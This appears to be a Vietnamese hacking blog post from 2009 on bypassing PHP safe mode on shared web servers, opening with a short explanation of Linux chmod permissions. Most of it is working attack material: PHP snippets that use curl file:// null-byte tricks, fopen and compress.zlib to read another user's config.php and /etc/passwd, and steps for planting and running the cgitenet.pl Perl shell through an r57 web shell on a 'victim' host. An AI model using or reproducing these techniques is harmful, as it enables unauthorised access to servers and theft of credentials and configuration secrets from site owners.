Tuesday, November 24, 2009

0

1 số cách bypass safe mode

Posted in
chúng ta thường local shell qua server cần attack thì chúng ta dùng lệnh cp [path host1 ] [host2]
cp = copy , đơn giản là chúng ta copy cái file shell ở host1 qua host 2 giống như chúng ta dùng lệnh copy 1 tập tin từ hda qua hdb .
còn về Chmod là các phân quyền trong hệ điều hành của máy server, trong linux thì permision sẽ được chia làm nhiều cấp bậc , cao nhất là root , đến owner group , và cuối cùng là đến Other , thường thì nếu các server Chmod kỹ sẽ không cho Other được bất cứ quyền gì.Gowner Group sẽ có được một số quyền hạn giống như root ở một số tập tin, còn Root (gốc rễ, ông vua) là người có toàn quyền trên server.
Và từ đó chúng ta có thể định hình được Chmod chỉ đơn giản là các quyền cho phép đối với người dùng.
Chmod được chia ra làm 4 chế độ:
1. r (read) :Quyền đọc , người được quyền này sẽ đọc được các tập tin nhưng không được viết (sửa đổi ), hoặc thực thi.
2. w (write ) : quyền viết , người có quyền này sẽ có thể sửa đổi các tập tin.
3.x (execute): quyền thực thi.
4. và cuối cùng là _ : tức là không có quyền gì cả = Null
vd : _rwxrwxrwx index.php
tức là tất cả mọi người dùng đều có toàn quyền trên file index.php
_rwxr_xr__ index.php
Chỉ có root (owner) mới được toàn quyền , Owner Group được quyền đọc và thực thi nhưng không được quyền ghi, Other được quyền đọc và thực thi nhưng không được quyền ghi
Nhưng để tiện hơn trong việc phân quyền thì người ta gán cho chúng những con số .
r = 4
w = 2
x = 1
như vậy nếu 1 file được chmod 755 tức file đó sẽ tương đương _rwxr_xr_x


_cách bypass bằng mysql chỉ dùng với user nobody , vì với các user bt thì thường mysql nó phân quyền ko truy cập File qua lẫn nhau đc

_khi sv bật cURL On : ta có thể Eval đoạn php code sau để view File , vd:
PHP Code:
$ch = curl_init("file:///home/user/public_html/config.php\x00/../../../../../../../../../../../../".__FILE__);
curl_exec($ch);
var_dump(curl_exec($ch));
PHP Code:
$ch = curl_init("file:///etc/passwd\x00".__FILE__);
curl_exec($ch);
var_dump(curl_exec($ch));
_ko Dis fopen
PHP Code:
$fd = fopen ("/home/user/public_html/config.php", "r");
while (!
feof ($fd)) {
$line = fgets($fd,4000);
print
$line;
}
fclose ($fd);
_
PHP Code:
copy("compress.zlib:///etc/passwd", "/home/user/public_html/somePATH/writeableFOLDER/passwd.txt");
quy định đuờng dẫn save file passwd mà ta có quyền ghi

_dùng hàm gzfile, readgzfile, gzopen nữa, chức năng nó tương tự như các hàm file, readfile, fopen

_Nếu gặp trường hợp SV bật Safe-Mode và có thể là Disable một số hàm quan trọng:
Xem xét lại nếu SV cho phép upload hoặc tạo thư mục mới hay ko( chú í tới uid nếu uid=owner thì ổn cả).
Tạo 1 thư mục mới và chmod cho nó là 775( dùng để up con cgitenet.pl).Đây là con shell dùng perll script nên dù Safe-Mode hay dis các hàm php thì cũng không ảnh hưởng gì tới các chức năng script của con perl này.
Up con cgitenet.pl này lên host của victim ( nên dùng shell là r57 ) .Trong phần Download files from remote ftp-server của con r57 điền thông tin con cgitenet.pl trên host của ta vào( host chứa perl shell của mình phải hỗ trợ upload qua FTP )
FTP-server:
Login:
Password:
File on ftp:
Local file:
Transfer mode: ASCII

Chú ý : riêng con perl shell này thì Get về host victim phải chọn chế độ ASCII
chmod lại cho cgitenet.pl lại thành 775.
Sau đó chạy shell cgitenet.pl trên SV của victim là ổn .

0 nhận xét: